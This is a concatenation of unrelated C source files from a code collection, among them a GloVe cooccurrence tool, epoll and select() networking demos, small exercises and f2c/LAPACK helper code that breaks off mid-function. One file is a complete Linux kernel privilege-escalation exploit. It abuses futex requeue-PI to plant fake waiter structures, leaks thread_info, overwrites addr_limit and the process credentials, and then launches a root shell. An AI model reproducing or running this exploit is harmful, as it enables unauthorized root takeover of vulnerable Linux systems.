write_chunk(cr,ind,foverflow);
sprintf(filename,"%s_0000.bin",file_head);
/* Write out full bigram_table, skipping zeros */
if (verbose > 1) fprintf(stderr, "Writing cooccurrences to disk");
fid = fopen(filename,"wb");
j = 1e6;
for (x = 1; x <= vocab_size; x++) {
if ( (long long) (0.75*log(vocab_size / x)) < j) {
j = (long long) (0.75*log(vocab_size / x));
if (verbose > 1) fprintf(stderr,".");
} // log's to make it look (sort of) pretty
for (y = 1; y <= (lookup[x] - lookup[x-1]); y++) {
if ((r = bigram_table[lookup[x-1] - 2 + y]) != 0) {
fwrite(&x, sizeof(int), 1, fid);
fwrite(&y, sizeof(int), 1, fid);
fwrite(&r, sizeof(real), 1, fid);
}
}
}
if (verbose > 1) fprintf(stderr,"%d files in total.\n",fidcounter + 1);
fclose(fid);
fclose(foverflow);
free(cr);
free(lookup);
free(bigram_table);
free(vocab_hash);
return merge_files(fidcounter + 1); // Merge the sorted temporary files
}
int find_arg(char *str, int argc, char **argv) {
int i;
for (i = 1; i < argc; i++) {
if (!scmp(str, argv[i])) {
if (i == argc - 1) {
printf("No argument given for %s\n", str);
exit(1);
}
return i;
}
}
return -1;
}
int main(int argc, char **argv) {
int i;
real rlimit, n = 1e5;
vocab_file = malloc(sizeof(char) * MAX_STRING_LENGTH);
file_head = malloc(sizeof(char) * MAX_STRING_LENGTH);
if (argc == 1) {
printf("Tool to calculate word-word cooccurrence statistics\n");
printf("Author: Jeffrey Pennington ([email protected])\n\n");
printf("Usage options:\n");
printf("\t-verbose <int>\n");
printf("\t\tSet verbosity: 0, 1, 2 (default), or 3\n");
printf("\t-symmetric <int>\n");
printf("\t\tIf <int> = 0, only use left context; if <int> = 1 (default), use left and right\n");
printf("\t-window-size <int>\n");
printf("\t\tNumber of context words to the left (and to the right, if symmetric = 1); default 15\n");
printf("\t-vocab-file <file>\n");
printf("\t\tFile containing vocabulary (truncated unigram counts, produced by 'vocab_count'); default vocab.txt\n");
printf("\t-memory <float>\n");
printf("\t\tSoft limit for memory consumption, in GB -- based on simple heuristic, so not extremely accurate; default 4.0\n");
printf("\t-max-product <int>\n");
printf("\t\tLimit the size of dense cooccurrence array by specifying the max product <int> of the frequency counts of the two cooccurring words.\n\t\tThis value overrides that which is automatically produced by '-memory'. Typically only needs adjustment for use with very large corpora.\n");
printf("\t-overflow-length <int>\n");
printf("\t\tLimit to length <int> the sparse overflow array, which buffers cooccurrence data that does not fit in the dense array, before writing to disk. \n\t\tThis value overrides that which is automatically produced by '-memory'. Typically only needs adjustment for use with very large corpora.\n");
printf("\t-overflow-file <file>\n");
printf("\t\tFilename, excluding extension, for temporary files; default overflow\n");
printf("\t-distance-weighting <int>\n");
printf("\t\tIf <int> = 0, do not weight cooccurrence count by distance between words; if <int> = 1 (default), weight the cooccurrence count by inverse of distance between words\n");
printf("\nExample usage:\n");
printf("./cooccur -verbose 2 -symmetric 0 -window-size 10 -vocab-file vocab.txt -memory 8.0 -overflow-file tempoverflow < corpus.txt > cooccurrences.bin\n\n");
return 0;
}
if ((i = find_arg((char *)"-verbose", argc, argv)) > 0) verbose = atoi(argv[i + 1]);
if ((i = find_arg((char *)"-symmetric", argc, argv)) > 0) symmetric = atoi(argv[i + 1]);
if ((i = find_arg((char *)"-window-size", argc, argv)) > 0) window_size = atoi(argv[i + 1]);
if ((i = find_arg((char *)"-vocab-file", argc, argv)) > 0) strcpy(vocab_file, argv[i + 1]);
else strcpy(vocab_file, (char *)"vocab.txt");
if ((i = find_arg((char *)"-overflow-file", argc, argv)) > 0) strcpy(file_head, argv[i + 1]);
else strcpy(file_head, (char *)"overflow");
if ((i = find_arg((char *)"-memory", argc, argv)) > 0) memory_limit = atof(argv[i + 1]);
if ((i = find_arg((char *)"-distance-weighting", argc, argv)) > 0) distance_weighting = atoi(argv[i + 1]);
/* The memory_limit determines a limit on the number of elements in bigram_table and the overflow buffer */
/* Estimate the maximum value that max_product can take so that this limit is still satisfied */
rlimit = 0.85 * (real)memory_limit * 1073741824/(sizeof(CREC));
while (fabs(rlimit - n * (log(n) + 0.1544313298)) > 1e-3) n = rlimit / (log(n) + 0.1544313298);
max_product = (long long) n;
overflow_length = (long long) rlimit/6; // 0.85 + 1/6 ~= 1
/* Override estimates by specifying limits explicitly on the command line */
if ((i = find_arg((char *)"-max-product", argc, argv)) > 0) max_product = atoll(argv[i + 1]);
if ((i = find_arg((char *)"-overflow-length", argc, argv)) > 0) overflow_length = atoll(argv[i + 1]);
return get_cooccurrence();
}
|
the_stack_data/70449204.c
|
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <assert.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <pthread.h>
#include <libgen.h>
#define MAX_EVENT_NUMBER 1024
#define BUFFER_SIZE 10
int setnonblocking(int fd)
{
int old_option = fcntl(fd, F_GETFL);
int new_option = old_option | O_NONBLOCK;
fcntl(fd, F_SETFL, new_option);
return old_option;
}
void addfd(int epollfd, int fd, int enable_et)
{
struct epoll_event event;
event.data.fd = fd;
event.events = EPOLLIN;
if(0 != enable_et) {
event.events |= EPOLLET;
}
epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &event);
setnonblocking(fd);
}
void lt(struct epoll_event* events, int number, int epollfd, int listenfd)
{
int i = 0;
char buf[BUFFER_SIZE] = {'\0'};
for (i=0; i<number; i++) {
int sockfd = events[i].data.fd;
if (sockfd == listenfd) {
struct sockaddr_in client_address;
socklen_t client_addrlength = sizeof(client_address);
int connfd = accept(listenfd, (struct sockaddr*)&client_address,
&client_addrlength);
addfd(epollfd, connfd, 0);
} else if (events[i].events & EPOLLIN) {
printf("event trigger once\n");
memset(buf, '\0', BUFFER_SIZE);
int ret = recv(sockfd, buf, BUFFER_SIZE-1, 0);
if (ret <= 0) {
close(sockfd);
continue;
}
printf("get %d bytes of content: %s\n", ret, buf);
} else {
printf("something else happened \n");
}
}
}
void et(struct epoll_event* events, int number, int epollfd, int listenfd)
{
int i = 0;
char buf[BUFFER_SIZE] = {'\0'};
for (i=0; i<number; i++) {
int sockfd = events[i].data.fd;
if (sockfd == listenfd) {
struct sockaddr_in client_address;
socklen_t client_addrlength = sizeof(client_address);
int connfd = accept(listenfd, (struct sockaddr*)&client_address,
&client_addrlength);
addfd(epollfd, connfd, 1);
} else if (events[i].events & EPOLLIN) {
printf("event trigger once\n");
while(1) {
memset(buf, '\0', BUFFER_SIZE);
int ret = recv(sockfd, buf, BUFFER_SIZE-1, 0);
if (ret < 0) {
if (EAGAIN==errno || EWOULDBLOCK==errno) {
printf("read later\n");
break;
}
close(sockfd);
break;
} else if(0 == ret) {
close(sockfd);
} else {
printf("get %d bytes of content: %s\n", ret, buf);
}
}
} else {
printf("something else happened \n");
}
}
}
int main(int argc, char *argv[])
{
if (argc <= 2) {
const char *prog_name = basename(argv[0]);
printf("usage: %s ip_address port_number\n", prog_name);
return 1;
}
const char* ip = argv[1];
int port = atoi(argv[2]);
int ret = 0;
struct sockaddr_in address;
memset(&address, 0x0, sizeof(address));
address.sin_family = AF_INET;
inet_pton(AF_INET, ip, &address.sin_addr);
address.sin_port = htons(port);
int listenfd = socket(PF_INET, SOCK_STREAM, 0);
assert(listenfd >= 0);
ret = bind(listenfd, (struct sockaddr*)&address, sizeof(address));
assert(-1 != ret);
ret = listen(listenfd, 5);
assert(-1 != ret);
struct epoll_event events[MAX_EVENT_NUMBER];
int epollfd = epoll_create(5);
assert(-1 != epollfd);
addfd(epollfd, listenfd, 1);
while(1) {
int ret = epoll_wait(epollfd, events, MAX_EVENT_NUMBER, -1);
if (ret < 0) {
printf("epoll failure\n");
break;
}
lt(events, ret, epollfd, listenfd);
}
close(listenfd);
return 0;
}
|
the_stack_data/423085.c
|
#define _GNU_SOURCE
#include <errno.h>
#include <linux/futex.h>
#include <stdint.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/wait.h>
#include <assert.h>
#include <pthread.h>
#include <sys/socket.h>
#include <signal.h>
#define SOCKETPAIR_FAIL -12
#define SEND_ERR -13
#define IOVEC_NUM 7
uint32_t pi_futex, non_pi_futex;
struct mmsghdr mmsghdr;
struct iovec iovec[IOVEC_NUM];
int client, server;
struct list_head {
struct list_head *next, *prev;
};
struct plist_node {
int prio;
struct list_head prio_list;
struct list_head node_list;
};
struct rt_mutex_waiter {
struct plist_node list_entry;
struct plist_node pi_futex_list_entry;
uint32_t* task;
uint32_t* lock;
}a, b;
void link_ab() {
a.list_entry.node_list.prev = &b.list_entry.node_list;
a.list_entry.prio_list.prev = &b.list_entry.prio_list;
a.list_entry.prio = 121;
b.list_entry.prio = 0x3;
b.list_entry.prio_list.next = &a.list_entry.prio_list;
b.list_entry.node_list.next = &a.list_entry.node_list;
}
void setup_mmsghdr_sockets() {
int fd[2];
int ret;
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, fd);
if(ret != 0) {
exit(SOCKETPAIR_FAIL);
}
client = fd[0];
server = fd[1];
iovec[0].iov_base = 0x100;
iovec[0].iov_len = &a.list_entry.prio_list;
iovec[1].iov_base = 0x100;
iovec[1].iov_len = &a.list_entry.prio_list;
iovec[2].iov_base = 0x100;
iovec[2].iov_len = &a.list_entry.prio_list;
iovec[3].iov_base = 0x100;
iovec[3].iov_len = &a.list_entry.prio_list;
// Here is our fake rt_waiter struct.
iovec[4].iov_base = 0x4;
iovec[4].iov_len = &a.list_entry.prio_list;
iovec[5].iov_base = &a.list_entry.prio_list;
iovec[5].iov_len = &a.list_entry.node_list;
iovec[6].iov_base = &a.list_entry.node_list;
mmsghdr.msg_hdr.msg_iov = iovec;
mmsghdr.msg_hdr.msg_iovlen = IOVEC_NUM;
}
static void child_code() {
setup_mmsghdr_sockets();
syscall(SYS_futex, &non_pi_futex, FUTEX_WAIT_REQUEUE_PI, 0, 0, &pi_futex, 0);
//syscall(__NR_sendmmsg, client, &mmsghdr, 1, 0);
//
// All of the exploits available were using sendmmsg, I tried sendmmsg too in the first
// But It wasn't enough for me to achieve rt_waiter struct for some reason.
// Here I used recvmmsg, because no data is sent or received in the socket, recvmmsg
// will hang and that what I want.
recvmmsg(client, &mmsghdr, 1, 0, NULL);
}
static void lock_pi_futex() {
syscall(SYS_futex, &pi_futex, FUTEX_LOCK_PI, 0, 0, NULL, 0);
//syscall(SYS_futex, pi_futex, FUTEX_TRYLOCK_PI, 0, 0, NULL, 0);
}
uint32_t thread_info;
pthread_t inserter;
static void get_leak() {
link_ab();
//*pi_futex = 0;
pthread_create(&inserter, NULL, lock_pi_futex, NULL);
sleep(2);
printf("Got %x\n", (unsigned int)a.list_entry.prio_list.next);
printf("Got %x\n", (unsigned int)a.list_entry.prio_list.prev);
printf("Got %x\n", (unsigned int)a.list_entry.node_list.next);
printf("Got %x\n", (unsigned int)a.list_entry.node_list.prev);
// Thread_info leak.
thread_info = (unsigned int)a.list_entry.prio_list.prev & 0xffffe000;
printf("Thread_info @ 0x%x\n", thread_info);
}
static void kcpy(void* dst, void* src, uint32_t len) {
int pipefd[2];
// Just to read ad write from and to the kernel.
pipe(pipefd);
write(pipefd[1], src, len);
read(pipefd[0], dst, len);
}
static void change_addr_limit_esc () {
uint32_t addr_limit_corrupted = 0xffffffff;
uint32_t root_fav_number = 0x0;
uint32_t task_struct, group_leader, cred;
// Make addr_limit = 0xffffffff
kcpy(thread_info + 0x18, &addr_limit_corrupted, 4);
// Get the address of the task_struct.
kcpy(&task_struct, thread_info + 0x00, 4);
printf("task_struct @ 0x%x\n", task_struct);
// Get the address of the group_leader (parent thread).
kcpy(&group_leader, task_struct + 0xe8, 4);
printf("group_leader 0x%x\n", group_leader);
// Get the cred struct address for the parent thread.
kcpy(&cred, group_leader + 0x19c, 4);
printf("cred struct 0x%x\n", cred);
// Now patch *ID to 0.
for(int i=1; i<9; i++)
kcpy(cred + 0x4*i, &root_fav_number, 4);
}
static void esc_priv() {
pthread_t esc;
// Using signals is crucial here (I was stuck here for so long elongl wu saved me)
// Because we can't execute more code on the thread that we know its thread_info
// we can use signals to make that heppened, hook a signal code to the function we want
// in this case SIGINT and then kill it with SIGINT.
struct sigaction s = {.sa_handler = change_addr_limit_esc};
sigaction(SIGINT, &s, NULL);
// Corrupt addr_limit to have this condition : addr_limit > &addr_limit
a.list_entry.prio_list.prev = thread_info + 0x18;
pthread_create(&esc, NULL, lock_pi_futex, NULL);
sleep(1);
pthread_kill(inserter, SIGINT);
}
int main() {
pthread_t child, ref_holder;
// STEP 1 : lock a pi_futex to be able to create waiters later.
syscall(SYS_futex, &pi_futex, FUTEX_LOCK_PI, 0, 0, NULL, 0);
// STEP 2 : call futex_wait_requeue_pi(), here our rt_mutex struct well be going out of
// scope but still linked to the waiters list.
pthread_create(&child, NULL, child_code, NULL);
// STEP 3 : call futex_requeue()
sleep(1);
syscall(SYS_futex, &non_pi_futex, FUTEX_CMP_REQUEUE_PI, 1, 1, &pi_futex, 0);
// We will be using this to corrupt the doubly linked list (waiters list)
// This will allocate a lock that will be used for our get_leak() function to use.
pthread_create(&ref_holder, NULL, lock_pi_futex, NULL);
sleep(1);
// STEP 4 : set the PI futex manually in userland (we can do it), so that
// self requeuing can occur.
pi_futex = 0;
// STEP 5 : requeue the PI futex to itself.
syscall(SYS_futex, &pi_futex, FUTEX_CMP_REQUEUE_PI, 1, 1, &pi_futex, 0);
// Get the leaks by corrupting the doubly linked list, SMAP is not set and that's helpfull for us.
get_leak();
// Make *ID to 0 in the cred struct, pretending to be a root process.
esc_priv();
sleep(2);
// root shell.
system("/bin/sh");
}
|
the_stack_data/879500.c
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(STDIN_FILENO, &readfds);
int ret;
char buf[256] = {0};
struct timeval tv = {5, 0};
struct timeval tv0 = {0, 0};
// ret = select(STDIN_FILENO + 1, &readfds, NULL, NULL, &tv0);
ret = select(STDIN_FILENO + 1, &readfds, NULL, NULL, &tv);
// ret = select(STDIN_FILENO + 1, &readfds, NULL, NULL, NULL);
// while (1) {
printf("ret = %d\n", ret);
if (ret == -1) {
perror("select error");
exit(EXIT_FAILURE);
} else if (ret) {
if (FD_ISSET(STDIN_FILENO, &readfds)) {
read(STDIN_FILENO, buf, 256);
printf("readfrom stdin msg : %s\n", buf);
}
} else {
printf("timeout\n");
}
printf("OuO\n");
// }
return 0;
}
|
the_stack_data/150139189.c
|
int main() {
int *a;
int b = 100;
a = &b;
return *a;
}
|
the_stack_data/57949703.c
|
#include <stdio.h>
#include <stdlib.h>
int main( int ac, char *av[] )
{
int n, min_n, max_n, sum, i;
/* コマンドラインから完全数探索範囲を決定する */
if( ac < 3 ) {
printf( "usage : perfect min_n max_n\n" );
return( 1 );
}
min_n = strtol( av[1], NULL, 10 );
max_n = strtol( av[2], NULL, 10 );
/* 探索範囲の数を調べる */
for( n = min_n; n <= max_n; n++ ) {
/* 約数の総和を求める */
sum = 0;
for( i = 1; i < n; i++ ) {
if( n % i == 0 )
sum += i;
}
/* 約数の総和が自身に等しければ完全数である */
if( sum == n )
printf( "%d\n", n );
}
return( 0 );
}
|
the_stack_data/165766140.c
|
#include <stdio.h>
#include <math.h>
void main(){
FILE *infa;
FILE *outf;
float f, f_int_part;
double int_part;
int i;
unsigned int a;
infa = fopen("stim/trunc_a", "r");
outf = fopen("stim/trunc_z_expected", "w");
while(1){
if(fscanf(infa, "%u", &a) == EOF) break;
f = *(float*)&a;
modf((double)f, &int_part);
f_int_part = int_part;
i = *(int*)&f_int_part;
fprintf(outf, "%u\n", i);
}
fclose(infa);
fclose(outf);
}
|
the_stack_data/72013634.c
|
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
